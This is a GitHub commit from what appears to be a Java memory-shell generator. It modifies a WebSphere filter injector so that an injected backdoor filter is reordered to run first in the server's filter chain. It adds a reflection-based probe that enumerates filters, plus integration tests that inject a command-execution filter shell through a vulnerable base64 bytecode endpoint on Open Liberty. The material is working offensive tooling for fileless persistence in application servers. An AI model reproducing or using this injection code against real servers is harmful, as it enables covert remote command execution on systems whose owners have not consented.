Skip to content

Commit f62daab

Browse files
committed
feat: support addFilterFirst for WebSphere
1 parent 050a183 commit f62daab

File tree

10 files changed

+496
-8
lines changed

10 files changed

+496
-8
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

Lines changed: 15 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import java.lang.reflect.Field;
99
import java.lang.reflect.Method;
1010
import java.util.HashSet;
11+
import java.util.List;
1112
import java.util.Set;
1213
import java.util.zip.GZIPInputStream;
1314

@@ -168,6 +169,17 @@ public void inject(Object context, Object filter) throws Exception {
168169
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
169170
invokeMethod(webAppConfig, "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
170171

172+
try {
173+
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
174+
uriFilterMappingInfos.remove(filterMapping);
175+
uriFilterMappingInfos.add(0, filterMapping);
176+
} catch (Exception e) {
177+
// WebSphere7
178+
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
179+
Object fmInfo = uriFilterMappings.remove(uriFilterMappings.size() - 1);
180+
uriFilterMappings.add(0, fmInfo);
181+
}
182+
171183
// 清除缓存
172184
Object chainCache = getFieldValue(filterManager, "chainCache");
173185
try {
@@ -274,13 +286,9 @@ public static Field getField(Object obj, String name) throws NoSuchFieldExceptio
274286

275287
@SuppressWarnings("all")
276288
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
277-
try {
278-
Field field = getField(obj, name);
279-
field.setAccessible(true);
280-
return field.get(obj);
281-
} catch (NoSuchFieldException ignored) {
282-
}
283-
return null;
289+
Field field = getField(obj, name);
290+
field.setAccessible(true);
291+
return field.get(obj);
284292
}
285293

286294
@SuppressWarnings("all")
Lines changed: 267 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,267 @@
1+
package com.reajason.javaweb.probe.payload.filter;
2+
3+
import java.io.ByteArrayOutputStream;
4+
import java.io.PrintStream;
5+
import java.lang.reflect.Field;
6+
import java.lang.reflect.Method;
7+
import java.util.*;
8+
9+
/**
10+
* @author ReaJason
11+
*/
12+
public class WebSphereFilterProbe {
13+
14+
@Override
15+
public String toString() {
16+
String msg = "";
17+
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
18+
Set<Object> contexts = null;
19+
try {
20+
contexts = getContext();
21+
} catch (Throwable throwable) {
22+
msg += "context error: " + getErrorMessage(throwable);
23+
}
24+
if (contexts == null || contexts.isEmpty()) {
25+
msg += "context not found\n";
26+
} else {
27+
for (Object context : contexts) {
28+
String contextRoot = getContextRoot(context);
29+
List<Map<String, String>> filters = collectFiltersData(context);
30+
allFiltersData.put(contextRoot, filters);
31+
}
32+
msg += formatFiltersData(allFiltersData);
33+
}
34+
return msg;
35+
}
36+
37+
private List<Map<String, String>> collectFiltersData(Object context) {
38+
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
39+
try {
40+
Object filterManager = getFieldValue(context, "filterManager");
41+
Object webAppConfig = getFieldValue(context, "config");
42+
try {
43+
List uriFilterMappingInfos = (List) getFieldValue(webAppConfig, "uriFilterMappingInfos");
44+
if (uriFilterMappingInfos == null || uriFilterMappingInfos.isEmpty()) {
45+
return Collections.emptyList();
46+
}
47+
for (Object uriFilterMappingInfo : uriFilterMappingInfos) {
48+
Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig");
49+
String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null);
50+
Collection urlPatternMappings = (Collection) invokeMethod(filterConfig, "getUrlPatternMappings", null, null);
51+
String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null);
52+
if (!aggregatedData.containsKey(filterName)) {
53+
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
54+
Map<String, Object> info = new HashMap<>();
55+
info.put("filterName", filterName);
56+
info.put("filterClass", filterClassName);
57+
LinkedHashSet<String> urlPatterns = new LinkedHashSet<>();
58+
if (urlPattern != null && !urlPattern.isEmpty()) {
59+
urlPatterns.add(urlPattern);
60+
}
61+
if (urlPatternMappings != null) {
62+
urlPatterns.addAll(urlPatternMappings);
63+
}
64+
info.put("urlPatterns", urlPatterns);
65+
aggregatedData.put(filterName, info);
66+
} else {
67+
Set urlPatterns = (Set) aggregatedData.get(filterName).get("urlPatterns");
68+
if (urlPattern != null && !urlPattern.isEmpty()) {
69+
urlPatterns.add(urlPattern);
70+
}
71+
if (urlPatternMappings != null) {
72+
urlPatterns.addAll(urlPatternMappings);
73+
}
74+
}
75+
}
76+
} catch (Throwable throwable) {
77+
throwable.printStackTrace();
78+
// WebLogic 10.3.6
79+
List uriFilterMappings = (List) getFieldValue(filterManager, "_uriFilterMappings");
80+
for (Object uriFilterMapping : uriFilterMappings) {
81+
String filterName = (String) getFieldValue(uriFilterMapping, "_filterName");
82+
String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI");
83+
if (!aggregatedData.containsKey(filterName)) {
84+
Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName});
85+
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
86+
Map<String, Object> info = new HashMap<>();
87+
info.put("filterName", filterName);
88+
info.put("filterClass", filterClassName);
89+
LinkedHashSet<String> urlPatterns = new LinkedHashSet<>();
90+
if (urlPattern != null && !urlPattern.isEmpty()) {
91+
urlPatterns.add(urlPattern);
92+
}
93+
info.put("urlPatterns", urlPatterns);
94+
aggregatedData.put(filterName, info);
95+
} else {
96+
if (urlPattern != null && !urlPattern.isEmpty()) {
97+
((Set) aggregatedData.get(filterName).get("urlPatterns")).add(urlPattern);
98+
}
99+
}
100+
}
101+
}
102+
} catch (Exception e) {
103+
e.printStackTrace();
104+
}
105+
List<Map<String, String>> result = new ArrayList<>();
106+
for (Map<String, Object> entry : aggregatedData.values()) {
107+
Map<String, String> finalInfo = new HashMap<>();
108+
finalInfo.put("filterName", (String) entry.get("filterName"));
109+
finalInfo.put("filterClass", (String) entry.get("filterClass"));
110+
Set<?> urls = (Set<?>) entry.get("urlPatterns");
111+
finalInfo.put("urlPatterns", urls.isEmpty() ? "[/*]" : Arrays.toString(urls.toArray()));
112+
result.add(finalInfo);
113+
}
114+
return result;
115+
}
116+
117+
@SuppressWarnings("all")
118+
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
119+
StringBuilder output = new StringBuilder();
120+
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
121+
String context = entry.getKey();
122+
List<Map<String, String>> filters = entry.getValue();
123+
output.append("Context: ").append(context).append("\n");
124+
if (filters.isEmpty()) {
125+
output.append("No filters found\n");
126+
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
127+
output.append(filters.get(0).get("error")).append("\n");
128+
} else {
129+
for (Map<String, String> info : filters) {
130+
appendIfPresent(output, "", info.get("filterName"), "");
131+
appendIfPresent(output, " -> ", info.get("filterClass"), "");
132+
appendIfPresent(output, " -> URL:", info.get("urlPatterns"), "");
133+
output.append("\n");
134+
}
135+
}
136+
}
137+
return output.toString();
138+
}
139+
140+
private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) {
141+
if (value != null && !value.isEmpty()) {
142+
sb.append(prefix).append(value).append(suffix);
143+
}
144+
}
145+
146+
@SuppressWarnings("all")
147+
private String getContextRoot(Object context) {
148+
String r = null;
149+
try {
150+
r = (String) invokeMethod(context, "getContextPath", null, null);
151+
} catch (Exception ignored) {
152+
}
153+
String c = context.getClass().getName();
154+
if (r == null) {
155+
return c;
156+
}
157+
if (r.isEmpty()) {
158+
return c + "(/)";
159+
}
160+
return c + "(" + r + ")";
161+
}
162+
163+
164+
/**
165+
* com.ibm.ws.webcontainer.webapp.WebAppImpl
166+
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
167+
*/
168+
public Set<Object> getContext() throws Exception {
169+
Set<Object> contexts = new HashSet<Object>();
170+
Object[] threadLocals = null;
171+
boolean raw = false;
172+
try {
173+
// WebSphere Liberty
174+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
175+
} catch (NoSuchFieldException ignored) {
176+
}
177+
if (threadLocals == null) {
178+
// Open Liberty
179+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
180+
raw = true;
181+
}
182+
for (Object threadLocal : threadLocals) {
183+
if (threadLocal == null) {
184+
continue;
185+
}
186+
Object value = threadLocal;
187+
if (raw) {
188+
value = getFieldValue(threadLocal, "value");
189+
}
190+
if (value == null) {
191+
continue;
192+
}
193+
// for websphere 7.x
194+
if (value.getClass().getName().endsWith("FastStack")) {
195+
Object[] stackList = (Object[]) getFieldValue(value, "stack");
196+
for (Object stack : stackList) {
197+
try {
198+
Object config = getFieldValue(stack, "config");
199+
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
200+
} catch (Exception ignored) {
201+
}
202+
}
203+
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
204+
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
205+
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
206+
}
207+
}
208+
return contexts;
209+
}
210+
211+
@SuppressWarnings("all")
212+
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
213+
try {
214+
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
215+
Method method = null;
216+
while (clazz != null && method == null) {
217+
try {
218+
if (paramClazz == null) {
219+
method = clazz.getDeclaredMethod(methodName);
220+
} else {
221+
method = clazz.getDeclaredMethod(methodName, paramClazz);
222+
}
223+
} catch (NoSuchMethodException e) {
224+
clazz = clazz.getSuperclass();
225+
}
226+
}
227+
if (method == null) {
228+
throw new NoSuchMethodException("Method not found: " + methodName);
229+
}
230+
231+
method.setAccessible(true);
232+
return method.invoke(obj instanceof Class ? null : obj, param);
233+
} catch (Exception e) {
234+
throw new RuntimeException("Error invoking method: " + methodName, e);
235+
}
236+
}
237+
238+
@SuppressWarnings("all")
239+
public static Object getFieldValue(Object obj, String name) throws Exception {
240+
Class<?> clazz = obj.getClass();
241+
while (clazz != Object.class) {
242+
try {
243+
Field field = clazz.getDeclaredField(name);
244+
field.setAccessible(true);
245+
return field.get(obj);
246+
} catch (NoSuchFieldException var5) {
247+
clazz = clazz.getSuperclass();
248+
}
249+
}
250+
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
251+
}
252+
253+
@SuppressWarnings("all")
254+
private String getErrorMessage(Throwable throwable) {
255+
PrintStream printStream = null;
256+
try {
257+
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
258+
printStream = new PrintStream(outputStream);
259+
throwable.printStackTrace(printStream);
260+
return outputStream.toString();
261+
} finally {
262+
if (printStream != null) {
263+
printStream.close();
264+
}
265+
}
266+
}
267+
}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,4 +62,8 @@ public static String getApusicFilterProbe() {
6262
public static String getWebLogicFilterProbe() {
6363
return getBase64Class(WebLogicFilterProbe.class);
6464
}
65+
66+
public static String getWebSphereFilterProbe() {
67+
return getBase64Class(WebSphereFilterProbe.class);
68+
}
6569
}

integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty18ContainerTest.java

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,10 @@
44
import com.reajason.javaweb.integration.ProbeAssertion;
55
import com.reajason.javaweb.integration.VulTool;
66
import com.reajason.javaweb.integration.probe.DetectionTool;
7+
import com.reajason.javaweb.memshell.ShellTool;
8+
import com.reajason.javaweb.memshell.ShellType;
9+
import com.reajason.javaweb.packer.Packers;
10+
import com.reajason.javaweb.utils.CommonUtil;
711
import lombok.SneakyThrows;
812
import lombok.extern.slf4j.Slf4j;
913
import net.bytebuddy.jar.asm.Opcodes;
@@ -18,9 +22,13 @@
1822
import java.nio.file.Files;
1923
import java.nio.file.Paths;
2024
import java.time.Duration;
25+
import java.util.List;
2126

2227
import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS;
2328
import static com.reajason.javaweb.integration.ContainerTool.warFile;
29+
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
30+
import static org.hamcrest.CoreMatchers.*;
31+
import static org.hamcrest.MatcherAssert.assertThat;
2432
import static org.junit.jupiter.api.Assertions.assertEquals;
2533

2634
/**
@@ -78,4 +86,26 @@ void testBytecodeReqParamResponseBody() {
7886
String url = getUrlFromWAS(container);
7987
ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8);
8088
}
89+
90+
91+
@Test
92+
void testFilterProbe() {
93+
String url = getUrlFromWAS(container);
94+
String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
95+
System.out.println(data);
96+
assertThat(data, anyOf(
97+
containsString("Context: ")
98+
));
99+
}
100+
101+
@Test
102+
void testFilterFirstInject() {
103+
String url = getUrlFromWAS(container);
104+
shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container);
105+
String data = VulTool.post(url + "/b64", DetectionTool.getWebSphereFilterProbe());
106+
log.info(data);
107+
List<String> filter = ProbeAssertion.getFiltersForContext(data, "/app");
108+
String filterName = ProbeAssertion.extractFilterName(filter.get(0));
109+
assertThat(filterName, anyOf(startsWith(CommonUtil.getWebPackageNameForServer(Server.WebSphere))));
110+
}
81111
}

0 commit comments

Comments
 (0)